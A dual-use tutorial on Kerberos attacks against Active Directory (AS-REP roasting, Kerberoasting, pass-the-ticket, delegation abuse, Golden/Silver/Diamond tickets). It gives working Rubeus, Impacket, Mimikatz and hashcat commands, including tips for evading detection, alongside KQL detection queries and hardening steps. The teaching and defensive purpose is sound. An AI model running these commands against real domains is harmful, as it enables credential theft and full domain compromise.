AS-REP · Kerberoast · PTT · OtH · Delegation · Golden / Silver / Diamond · 4768/4769
Kerberos in two exchanges — know this before the attacks
Here is the uncomfortable truth about Kerberos attacks: almost none of them are exploits. There is no buffer overflow, no CVE. The attacker sends requests the protocol is designed to answer, and the KDC answers them. The "vulnerability" is a flag on an account, a weak service password, or a stolen signing key — the protocol doing exactly what RFC 4120 says it should. To attack Kerberos you have to understand it, because the attacks are the protocol.
The AS exchange — getting your TGT
The client sends an AS-REQ to the KDC. Normally this includes a pre-authentication timestamp encrypted with the user's password-derived key (PA-ENC-TIMESTAMP). The KDC decrypts it — if it works, you proved knowledge of the password without sending it. The KDC replies with an AS-REP containing a Ticket Granting Ticket (TGT) encrypted with the krbtgt account key. The client carries this TGT around like a session passport.
The TGS exchange — getting into a service
To reach a service, the client sends a TGS-REQ — "here is my TGT, give me a ticket for MSSQLSvc/db01.corp.local." The KDC validates the TGT and issues a TGS-REP containing a service ticket whose enc-part is encrypted with the service account's password-derived key. The client presents that ticket to the service directly — the service decrypts it, trusts the PAC inside (the user's SIDs and group memberships), and grants access.
| Encryption type | Key derivation | Attack relevance |
|---|---|---|
| AES256 (etype 0x12) | PBKDF2-derived, salted | Hard to crack — the goal state for every account |
| AES128 (etype 0x11) | Also modern | Preferred over RC4; weaker than AES256 |
| RC4-HMAC (etype 0x17) | Key = NT hash, unsalted | Attacker's favourite — fast hashcat -m 13100/18200 |
| DES (0x01/0x03) | Ancient, disabled by default | Should never appear; alarm if it does |
krbtgt key; service ticket → service account key; pre-auth → user key. Every attack below is: "I got ciphertext sealed with a key I want, so I crack it offline" OR "I already hold the key, so I forge the ticket myself."Enumeration — find roastable accounts and delegation paths first
Before running any attack, map the surface. Three tools cover the discovery workflow: kerbrute for valid-username enumeration without touching LDAP, BloodHound for the full delegation/attack-path graph, and LDAP queries for targeted SPN and pre-auth-disabled discovery.
kerbrute — find valid users without binding to LDAP
# kerbrute: Kerberos username enumeration (no LDAP, no lockout trigger for invalid users) kerbrute userenum -d corp.local --dc 10.0.0.10 \ /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt # -> prints valid usernames; invalid ones produce Kerberos error 0x6 (KDC_ERR_C_PRINCIPAL_UNKNOWN) # -> valid usernames produce 0x18 (wrong password) or 0x17 (pre-auth disabled) — no lockout # Password spray via Kerberos (avoids LDAP; uses AS-REQ per user — quieter than SMB spray): kerbrute passwordspray -d corp.local --dc 10.0.0.10 valid_users.txt 'Spring2026!'
LDAP: find roastable and delegatable accounts
# --- Find AS-REP-roastable accounts (DONT_REQ_PREAUTH flag set) --- # PowerShell on a domain-joined host: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth | Select-Object SamAccountName, Enabled, DistinguishedName # --- Find Kerberoastable accounts (user accounts with an SPN) --- Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName | Select-Object SamAccountName,ServicePrincipalName,Enabled # --- Find Unconstrained Delegation hosts (most dangerous) --- Get-ADComputer -Filter {TrustedForDelegation -eq $True} -Properties TrustedForDelegation | Select-Object Name, DNSHostName # --- Find Constrained Delegation accounts (msDS-AllowedToDelegateTo is set) --- Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo | Select-Object SamAccountName,msDS-AllowedToDelegateTo # --- BloodHound queries (Cypher, run in the UI or via bolt://localhost:7687) --- # Find all Kerberoastable users: MATCH (u:User) WHERE u.hasspn=true RETURN u.name, u.admincount # Find Kerberoastable accounts with DA paths: MATCH p=shortestPath((u:User {hasspn:true})-[*1..]->(g:Group {name:"DOMAIN [email protected]"})) RETURN p # Find all unconstrained delegation computers: MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
AS-REP roasting — a crackable hash with zero credentials
Start with the cheapest attack: it needs no credentials at all, just network access to the DC and a list of usernames. AS-REP roasting abuses accounts where someone enabled "Do not require Kerberos preauthentication" (DONT_REQ_PREAUTH / UF_DONT_REQUIRE_PREAUTH bit 0x400000 in userAccountControl). With pre-auth disabled the KDC skips the timestamp check — anyone can send an AS-REQ naming that user and the KDC returns ciphertext sealed with that user's password key. You never authenticated; you just asked.
# --- From Linux (no creds needed for DONT_REQ_PREAUTH accounts) --- # Impacket — enumerate and dump all AS-REP-roastable hashes in one shot: GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -dc-ip 10.0.0.10 -format hashcat # With a low-priv account, pull the list from LDAP automatically: GetNPUsers.py corp.local/lowpriv:Passw0rd -request -format hashcat -dc-ip 10.0.0.10 \ -outputfile asrep.txt # --- From Windows (domain-joined host) --- Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt # Target a specific user only (less noise): Rubeus.exe asreproast /user:svc_backup /format:hashcat /outfile:asrep.txt # --- Crack offline (no lockout — cracking is local) --- # Mode 18200 = $krb5asrep$23$ (RC4) hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt hashcat -m 18200 asrep.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule # Mode 19900 = $krb5asrep$17$ / $krb5asrep$18$ (AES — slower, but possible) hashcat -m 19900 asrep.txt rockyou.txt
Detection & fix
Every TGT request is logged as Event 4768 on the DC. A legitimate request shows Pre-Authentication Type ≠ 0. An AS-REP-roast request shows Pre-Authentication Type = 0 — that is the signature. Alert on any 4768 with PreAuthType 0. Fix: clear the DONT_REQ_PREAUTH flag and require long AES passwords on those accounts.
# KQL — Microsoft Sentinel / Defender: detect AS-REP roast attempts: SecurityEvent | where EventID == 4768 | where PreAuthType == "0" | where TargetUserName !endswith "$" // exclude computer accounts (they sometimes do this) | project TimeGenerated, TargetUserName, IpAddress, TargetDomainName # Fix — clear the flag via PowerShell (requires Domain Admin): Set-ADAccountControl -Identity svc_backup -DoesNotRequirePreAuth $false # Enforce AES-only on that account (removes RC4 from AS-REP): Set-ADUser svc_backup -KerberosEncryptionType AES256
Kerberoasting — the everyday engagement workhorse
Kerberoasting only needs one valid domain account — any user, however unprivileged. Every authenticated domain user can request a service ticket for any account that has a Service Principal Name (SPN). That ticket's enc-part is sealed with the service account's password key. Get the ticket, crack it offline, own the service account. The KDC never checks whether you intend to actually connect to the service.
Standard roasting
# Impacket — enumerate SPNs and request tickets: GetUserSPNs.py corp.local/lowpriv:Passw0rd -dc-ip 10.0.0.10 -request \ -outputfile kerberoast.txt # Show SPNs only (no ticket request) for reconnaissance: GetUserSPNs.py corp.local/lowpriv:Passw0rd -dc-ip 10.0.0.10 # Rubeus, from a domain host (roast everything, force RC4): Rubeus.exe kerberoast /outfile:kerberoast.txt # /rc4opsec = only roast accounts WHERE RC4 is allowed (avoids AES-only accounts # and doesn't generate an RC4 downgrade alert for AES-enforced accounts) Rubeus.exe kerberoast /rc4opsec /outfile:kerberoast.txt # Crack: -m 13100 = $krb5tgs$23$ (RC4), -m 19600/19700 = AES128/256 TGS hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt hashcat -m 13100 kerberoast.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Targeted Kerberoasting — high-value accounts only (quieter)
# Only roast accounts that are admin / in privileged groups — less noise: # Step 1: Find SPNs belonging to high-privilege accounts: GetUserSPNs.py corp.local/lowpriv:Passw0rd -dc-ip 10.0.0.10 | grep -i admin # Step 2: Roast only that specific account: Rubeus.exe kerberoast /user:sqlsvc /rc4opsec /outfile:sqlsvc.txt GetUserSPNs.py corp.local/lowpriv:Passw0rd -dc-ip 10.0.0.10 -request-user sqlsvc \ -outputfile sqlsvc.txt # OPSEC: throttle requests to avoid the "single account requesting many TGS in a burst" alert: # Spread requests over hours, or request one SPN per session. # RC4 on an AES-only network is a loud tell → verify AES-only enforcement before choosing /rc4opsec.
Detection & fix
# KQL — detect Kerberoasting: single account, many distinct SPNs, RC4 etype, short window: SecurityEvent | where EventID == 4769 | where TicketEncryptionType == "0x17" // RC4 = legacy / attacker choice | where ServiceName !endswith "$" // exclude machine account SPN requests | summarize SPNCount = dcount(ServiceName) by TargetUserName, bin(TimeGenerated, 5m) | where SPNCount > 5 // more than 5 different SPNs in 5 minutes # Fix — enforce AES on service accounts + use gMSA where possible: # gMSA: AD manages 120-char passwords, auto-rotated, never crackable: New-ADServiceAccount -Name "sqlsvc" -DNSHostName "sql01.corp.local" ` -PrincipalsAllowedToRetrieveManagedPassword "SQL01$" Install-ADServiceAccount -Identity "sqlsvc" # Enforce AES-only encryption on existing service accounts (removes RC4 crack path): Set-ADUser sqlsvc_old -KerberosEncryptionType AES256 # Also: set msDS-SupportedEncryptionTypes = 24 (AES128 + AES256) on the account.
/rc4opsec, then run hashcat in the background while you keep working. One cracked privileged service account often means lateral movement to the entire tier that account can access. Report the root cause as "service accounts with weak, static, human-set passwords and RC4 enabled" — not "Kerberos is broken."Pass-the-Ticket and Overpass-the-Hash — use tickets without cracking
You do not always need to crack a hash. If you already hold a ticket — either extracted from memory or obtained via a request with a hash you own — you can use it directly. Pass-the-Ticket (PTT) imports a Kerberos ticket into the current logon session (or a new one) and uses it to authenticate without ever presenting a password. Overpass-the-Hash (OtH, also "Pass-the-Key") uses an NT hash or AES key to forge an AS-REQ and obtain a proper Kerberos TGT — converting NTLM material into a Kerberos credential.
Extract tickets from memory, then pass them
# --- Extract tickets from a compromised host (requires admin) --- # Mimikatz (touches LSASS — noisy with EDR): mimikatz # sekurlsa::tickets /export # dumps all tickets to .kirbi files # Rubeus (no LSASS touch — quieter): Rubeus.exe triage # list all tickets in all sessions Rubeus.exe dump /nowrap # dump as base64; /luid:0x1234 for a specific session Rubeus.exe dump /user:alice /service:krbtgt /nowrap # dump only Alice's TGT # --- Import (pass) a ticket into the current session --- # Rubeus PTT from base64: Rubeus.exe ptt /ticket:<base64_ticket_string> # Rubeus PTT from file: Rubeus.exe ptt /ticket:alice.kirbi # Mimikatz PTT from file: mimikatz # kerberos::ptt alice.kirbi # Verify the ticket is now in session: klist Rubeus.exe triage
Overpass-the-Hash — NT hash → Kerberos TGT
# You have Alice's NT hash from a previous dump. Convert it to a Kerberos TGT. # Why? Kerberos traffic looks more legitimate than NTLM on a Kerberos-only network. # Rubeus (OPSEC: no LSASS touch; creates a sacrificial logon session): Rubeus.exe asktgt /user:alice /domain:corp.local /rc4:<NT_HASH> \ /createnetonly:C:\Windows\System32\cmd.exe /show /ptt # /createnetonly + /ptt: spawns a new cmd.exe, injects the TGT into it — doesn't # overwrite the current session TGT and avoids touching other sessions. # With AES256 key (quieter — no RC4 ticket request on the wire): Rubeus.exe asktgt /user:alice /domain:corp.local /aes256:<AES_KEY> /opsec /ptt # /opsec sets the same KDC options a real Windows client would use — less distinctive. # Mimikatz equivalent (touches LSASS — noisier): mimikatz # sekurlsa::pth /user:alice /domain:corp.local /ntlm:<HASH> /run:powershell.exe # After PTT / OtH: use the ticket transparently: dir \\dc01.corp.local\ADMIN$ # accesses DC admin share as alice nxc smb dc01.corp.local -k --use-kcache # nxc with Kerberos auth
PreAuthType = 0x11/0x12 (AES) from an unusual source IP is normal and quiet. A 4769 (service ticket) with no preceding 4768 for the same user/session is the classic "forged ticket" signal. PTT leaves no new 4768 because the ticket was pre-existing — watch for anomalous Kerberos logons (4624 LogonType=3, AuthenticationPackageName=Kerberos) from IPs that do not match the account's normal workstation.Unconstrained Delegation — steal every TGT that flows through a host
Unconstrained delegation is a legacy setting where a computer or service account is trusted to impersonate any user to any service. When a user authenticates to a host with unconstrained delegation enabled, Windows automatically sends their full TGT along with the service ticket — and stores it in memory on that host. Anyone who can dump memory on that host can steal and replay every TGT that has flowed through it, including Domain Controller machine account TGTs. This is the most dangerous single misconfiguration in Active Directory.
# --- Step 1: Find computers with Unconstrained Delegation --- # Any computer with TRUSTED_FOR_DELEGATION set in UAC is a target: Get-ADComputer -Filter {TrustedForDelegation -eq $True} -Properties * | Select-Object Name, DNSHostName, OperatingSystem # Or from Linux with LDAP (null session or low-priv creds): ldapsearch -x -H ldap://10.0.0.10 -D "cn=lowpriv,dc=corp,dc=local" -w Passw0rd \ -b "dc=corp,dc=local" "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" name # --- Step 2: Compromise the delegating host (local admin required) --- # Gain a shell on the host with unconstrained delegation. # --- Step 3: Start Rubeus in monitor mode — wait for incoming TGTs --- Rubeus.exe monitor /interval:5 /nowrap # Rubeus prints every new TGT as it arrives in memory on this host. # --- Step 4: Coerce a Domain Controller to authenticate to this host --- # PrinterBug / SpoolSample — forces DC01 to authenticate back to this host: SpoolSample.exe DC01 DELEGATED_HOST # SpoolSample by Lee Christensen # Or PetitPotam, DFSCoerce, Coercer — any coercion method works: petitpotam.py -u lowpriv -p Passw0rd -d corp.local DELEGATED_HOST DC01.corp.local # --- Step 5: Rubeus monitor catches the DC's machine account TGT --- # DC01$ TGT appears in the monitor output as base64. # --- Step 6: Import the DC TGT and DCSync the whole domain --- Rubeus.exe ptt /ticket:<DC01$_TGT_base64> secretsdump.py -k -no-pass 'corp.local/DC01$'@dc01.corp.local # -> dumps krbtgt hash + every domain account hash = full domain compromise
Detection & fix
# Alert on TGT requests FROM a delegating host IP where the requesting USER is a DC: SecurityEvent | where EventID == 4768 | where TargetUserName endswith "$" // machine account | where ClientAddress in (known_delegating_hosts) // your list of unconstrained delegation hosts // A DC machine account TGT request hitting a delegating host = coercion + dump in progress. # Fix: # 1. Remove unconstrained delegation from every computer that doesn't need it: Set-ADComputer delegated_host -TrustedForDelegation $false # 2. Disable the Print Spooler on all DCs (removes the PrinterBug coercion vector): Get-Service Spooler -ComputerName DC01.corp.local | Stop-Service Set-Service Spooler -ComputerName DC01.corp.local -StartupType Disabled # 3. Add tier-0 accounts to Protected Users (blocks TGT delegation): Add-ADGroupMember "Protected Users" -Members "DA_Account","DC01$"
Constrained Delegation and S4U — impersonate any user from a service hash
Constrained delegation (CD) is the supposedly-safer replacement: instead of "trust this account for any service," you specify exactly which services it can impersonate users to. But constrained delegation with Protocol Transition (TRUSTED_TO_AUTH_FOR_DELEGATION / msDS-AllowedToDelegateTo) introduces a dangerous capability called S4U2Self: the service account can request a service ticket for any user to itself, without that user ever having authenticated. Combined with S4U2Proxy, which forwards that ticket to a target service, you can impersonate any domain user (including Domain Admins) to the configured services — from just the service account's hash.
# --- Step 1: Find constrained delegation accounts and what they can delegate to --- Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo | Select-Object SamAccountName, @{n='SPNs';e={$_.'msDS-AllowedToDelegateTo'}} # --- Step 2: With the service account hash, impersonate any user to those services --- # S4U2Self + S4U2Proxy via Rubeus (Protocol Transition must be enabled): # Example: sqlsvc can delegate to cifs/fileserver.corp.local # Impersonate Domain Admin to that service: Rubeus.exe s4u /user:sqlsvc /rc4:<NTLM_HASH_OF_SQLSVC> /domain:corp.local \ /msdsspn:"cifs/fileserver.corp.local" /impersonateuser:Administrator /ptt # -> injects a TGS for Administrator@cifs/fileserver, use it to access the share: dir \\fileserver.corp.local\C$ # With AES key (quieter): Rubeus.exe s4u /user:sqlsvc /aes256:<AES_KEY> /domain:corp.local \ /msdsspn:"cifs/fileserver.corp.local" /impersonateuser:Administrator /ptt /opsec # Impacket equivalent (Linux): getST.py -spn 'cifs/fileserver.corp.local' -impersonate Administrator \ -dc-ip 10.0.0.10 'corp.local/sqlsvc:<password_or_hash>' export KRB5CCNAME=Administrator@cifs_fileserver.ccache smbclient.py -k -no-pass 'corp.local/[email protected]'
TRUSTED_TO_AUTH_FOR_DELEGATION NOT set) is less dangerous — it can only forward tickets for users who actually authenticated to it. Still worth auditing, but Protocol Transition is the truly dangerous variant.Golden, Silver, and Diamond tickets — forging, not asking
The roasting and delegation attacks get you keys by asking or abusing the protocol. Golden and Silver tickets are the opposite: you already hold a signing key, so you forge tickets the KDC never issued. These are post-exploitation persistence techniques — you need the key first — but once you have it, access is total and long-lived.
Golden ticket — forge any TGT with the krbtgt key
# --- Get the krbtgt hash (requires DA / DCSync rights) --- secretsdump.py -just-dc-user krbtgt 'corp.local/da_account:P@ss'@dc01.corp.local # krbtgt aes256-cts-hmac-sha1-96: <AES_KEY> <- prefer this # krbtgt rc4-hmac: <NT_HASH> # --- Forge a Golden TGT (Impacket ticketer) --- ticketer.py -nthash <krbtgt_NT_hash> -domain-sid S-1-5-21-XXXXXXXXX-XXXXXXXXX-XXXXXXXXX \ -domain corp.local Administrator export KRB5CCNAME=Administrator.ccache secretsdump.py -k -no-pass 'corp.local/Administrator'@dc01.corp.local # use it # With AES key (harder to detect — no RC4 downgrade): ticketer.py -aesKey <krbtgt_AES256> -domain-sid S-1-5-21-... -domain corp.local Administrator # --- Rubeus Golden ticket + inject --- Rubeus.exe golden /rc4:<krbtgt_hash> /user:Administrator /domain:corp.local \ /sid:S-1-5-21-... /groups:512 /ptt # /groups:512 = Domain Admins SID, can add any SID (519=Enterprise Admin, 518=Schema Admin) # A Golden ticket can be created for a user that doesn't exist in AD: Rubeus.exe golden /rc4:<krbtgt_hash> /user:GhostAdmin /domain:corp.local \ /sid:S-1-5-21-... /groups:512,519 /ptt
Silver ticket — one service, no DC involved
# Silver ticket: forge a service ticket for ONE service using that service's key. # No TGT needed, no KDC contact → no 4768/4769 on the DC at all. # Requires: service account hash + domain SID + SPN. # Example: forge CIFS ticket for ws01.corp.local using ws01's machine account hash: ticketer.py -nthash <WS01_MACHINE_ACCOUNT_NTLM> -domain-sid S-1-5-21-... \ -domain corp.local -spn cifs/ws01.corp.local Administrator export KRB5CCNAME=Administrator.ccache smbclient.py -k -no-pass 'corp.local/[email protected]' # Rubeus equivalent: Rubeus.exe silver /service:cifs/ws01.corp.local /rc4:<machine_account_hash> \ /user:Administrator /domain:corp.local /sid:S-1-5-21-... /ptt
Diamond ticket — modify a real TGT (harder to detect)
Diamond tickets are a newer alternative to Golden tickets. Instead of forging a TGT from scratch (which leaves a well-known signature), a Diamond ticket takes a real, legitimately issued TGT, decrypts the PAC using the krbtgt key, modifies it (adds extra SIDs / groups), re-encrypts, and re-signs. The resulting ticket is much harder to detect because it has valid timestamps, a valid structure, and is derived from a real TGT request — it just has a modified PAC.
# Rubeus Diamond ticket — modify a real TGT's PAC (requires krbtgt key): Rubeus.exe diamond /krbkey:<krbtgt_AES256> /user:lowpriv /password:UserPass \ /enctype:aes /ticketuser:Administrator /domain:corp.local /dc:dc01.corp.local \ /ticketuserid:500 /groups:512,519,518 /ptt # -> requests a real TGT as lowpriv, then decrypts + modifies PAC to impersonate Administrator # -> the forged ticket has a real nonce, real timestamps, real structure # -> bypasses "check for TGT timestamp outside policy" detections used against Golden tickets # Sapphire tickets (even newer): clone the exact PAC from a real privileged user's TGT # rather than fabricating it. The PAC is bit-for-bit identical to a legitimate one.
Detection (EventIDs + KQL) and hardening commands
Pulling detection and hardening together. Kerberos attacks are quiet by design — offline cracking, KDC-trusted tickets, no lockouts. Detection lives in a small set of event IDs read carefully, plus hardening controls that remove the preconditions entirely.
| Event ID | What to watch for |
|---|---|
| 4768 (TGT requested) | PreAuthType=0 → AS-REP roast. Forged TGT in use → no 4768 precedes a 4769 for that user. |
| 4769 (Service ticket) | RC4 (0x17) where AES enforced → roasting/forgery. Single source, many SPNs in a short window → Kerberoasting. |
| 4624 (Logon) | Type 3, Kerberos, from a host/IP that shouldn't have that user's TGT → Silver/PTT. |
| 4662 (Dir object access) | Replication GUIDs (1131f6aa / 1131f6ad) from a non-DC → DCSync (krbtgt theft precursor). |
| 4738 / 5136 | UAC change setting DONT_REQ_PREAUTH, or SPN added to a user account. |
| 4769 no preceding 4768 | "Orphaned" service ticket request → Golden ticket in use. |
# KQL — detect Golden ticket usage (4769 without a preceding 4768 for same user, same logon session): let TGTRequests = SecurityEvent | where EventID == 4768 | project TargetUserName, ClientAddress, TimeGenerated; SecurityEvent | where EventID == 4769 | where TargetUserName !endswith "$" | join kind=leftanti TGTRequests on $left.TargetUserName==$right.TargetUserName, $left.ClientAddress==$right.ClientAddress // no TGT issued for this user from this IP | where TimeGenerated between (ago(4h)..now()) | project TimeGenerated, TargetUserName, ClientAddress, ServiceName, TicketEncryptionType # KQL — detect DCSync (4662 replication from non-DC source): SecurityEvent | where EventID == 4662 | where OperationType == "%%7688" // Access Mask 0x100 = Control Access | where Properties has "1131f6aa" // Replicating Directory Changes or Properties has "1131f6ad" // Replicating Directory Changes All | where SubjectUserName !endswith "$" // not a computer account | project TimeGenerated, SubjectUserName, IpAddress, Computer
| Control | What you do | What it defeats |
|---|---|---|
| Enforce AES-only, disable RC4 | Set msDS-SupportedEncryptionTypes=24 domain-wide; disable RC4 via GPO | Removes fast-crack path; RC4 downgrade becomes alarm |
| gMSA for service accounts | AD-managed 120-char auto-rotated passwords | Kerberoasting yields uncrackable hashes |
| Clear DONT_REQ_PREAUTH | Audit and remove the flag on all accounts | Eliminates AS-REP roasting outright |
| Remove unconstrained delegation | Set-ADComputer -TrustedForDelegation $false; disable Spooler on DCs | Removes the most dangerous delegation class |
| Rotate krbtgt twice | 2 resets spaced by the max AD replication time (usually ~24h) | Invalidates all existing Golden tickets |
| Protected Users group | Add tier-0 accounts — prevents TGT caching, delegation, RC4, and DES | Blocks multiple ticket attacks on privileged accounts |
| Tier-0 isolation + PAC validation | Protect DCs; enforce PAC verification; regular krbtgt audit | Stops key theft and catches Silver tickets |
# --- Hardening commands --- # Disable RC4 domain-wide (GPO: Computer Configuration > Admin Templates > System > KDC): # "KDC support for claims, compound authentication, and Kerberos armoring" = Enabled # Or directly on the domain object (requires Schema/Domain Admin): $domain = Get-ADObject -SearchBase (Get-ADDomain).distinguishedname ` -Filter {objectclass -eq "domain"} -Properties msDS-SupportedEncryptionTypes Set-ADObject $domain -Replace @{"msDS-SupportedEncryptionTypes"=24} # AES128+AES256 only # krbtgt rotation (two resets, wait for replication between them): # Reset 1: $krbtgt = Get-ADUser krbtgt Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (ConvertTo-SecureString (New-Guid).Guid -AsPlainText -Force) # Wait for AD replication to all DCs (check: repadmin /replsummary) # Reset 2 (invalidates tickets from the previous krbtgt key): Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (ConvertTo-SecureString (New-Guid).Guid -AsPlainText -Force) # Add DA account to Protected Users (blocks RC4, DES, TGT delegation, credential caching): Add-ADGroupMember "Protected Users" -Members "Administrator","DA_SvcAcct" # Atomic Red Team: validate your detections fire: Invoke-AtomicTest T1558.003 -TestNumbers 1 # Kerberoasting — confirm 4769 RC4 alert fires Invoke-AtomicTest T1558.004 -TestNumbers 1 # AS-REP Roasting — confirm 4768 PreAuthType=0 alert
Full command cheatsheet
Complete command cheatsheet
| Command | Purpose |
|---|---|
kerbrute userenum -d corp.local --dc 10.0.0.10 users.txt | Enumerate valid usernames without lockout |
GetNPUsers.py corp.local/user:pass -request -format hashcat -dc-ip 10.0.0.10 | AS-REP roast all DONT_REQ_PREAUTH accounts |
Rubeus.exe asreproast /format:hashcat /user:target | AS-REP roast from Windows host |
hashcat -m 18200 hashes.txt rockyou.txt | Crack AS-REP hashes (RC4) |
GetUserSPNs.py corp.local/user:pass -request -outputfile out.txt | Kerberoast all SPN accounts |
Rubeus.exe kerberoast /rc4opsec /outfile:out.txt | Kerberoast quietly (RC4-allowed only) |
hashcat -m 13100 out.txt rockyou.txt | Crack TGS hashes (RC4) |
Rubeus.exe dump /user:alice /nowrap | Extract tickets from memory |
Rubeus.exe ptt /ticket:<base64> | Import ticket into current session |
Rubeus.exe asktgt /user:alice /rc4:<hash> /ptt | Overpass-the-Hash (OtH) |
Rubeus.exe monitor /interval:5 | Monitor for incoming TGTs (use on delegating host) |
Rubeus.exe s4u /user:svc /rc4:<hash> /msdsspn:cifs/target /impersonateuser:admin /ptt | S4U2Self+Proxy constrained delegation abuse |
secretsdump.py -just-dc-user krbtgt corp.local/da:pass@dc01 | DCSync the krbtgt hash |
ticketer.py -nthash <krbtgt> -domain-sid <SID> -domain corp.local Administrator | Forge a Golden ticket |
Rubeus.exe silver /service:cifs/ws01 /rc4:<machine_hash> /user:admin /ptt | Forge a Silver ticket |
Rubeus.exe diamond /krbkey:<krbtgt_AES> /user:low /password:pass /ticketuser:admin /ptt | Diamond ticket (modified real TGT) |
The last word — configuration kills, not patches
The attacks are the protocol. AS-REP roasting, Kerberoasting, delegation abuse, and ticket forgery are not bugs — they are the legitimate AS/TGS exchanges and the legitimate trust model, used against misconfiguration and weak key hygiene. There is nothing to patch in Kerberos itself. The fixes are configuration: clear DONT_REQ_PREAUTH, kill RC4, use gMSA, remove unconstrained delegation, and protect/rotate the krbtgt key.
Offline is the danger. Cracking is entirely off-network — no lockouts, no failed logons, almost no noise. Detection cannot be "watch for failed auth." It must be the AS-REQ/TGS-REQ telemetry itself: PreAuthType 0, RC4 downgrades on AES networks, single-account multi-SPN bursts, orphaned 4769s with no 4768. Read Events 4768 and 4769 properly and most of the roasting landscape lights up.
Keys are the crown jewels. Every ticket is only as trustworthy as the key that sealed it. A krbtgt hash is total domain persistence that survives every password reset except its own — rotate it twice on a schedule and immediately after any DA-level compromise. Treat DC key material as tier-0, and add privileged accounts to the Protected Users group to cut off the delegation and RC4 attack paths entirely.
MITRE ATT&CK mapping for the report: AS-REP Roasting → T1558.004; Kerberoasting → T1558.003; Golden Ticket → T1558.001; Silver Ticket → T1558.002; Pass-the-Ticket → T1550.003; Overpass-the-Hash → T1550.002; DCSync → T1003.006; Unconstrained Delegation → T1134.001.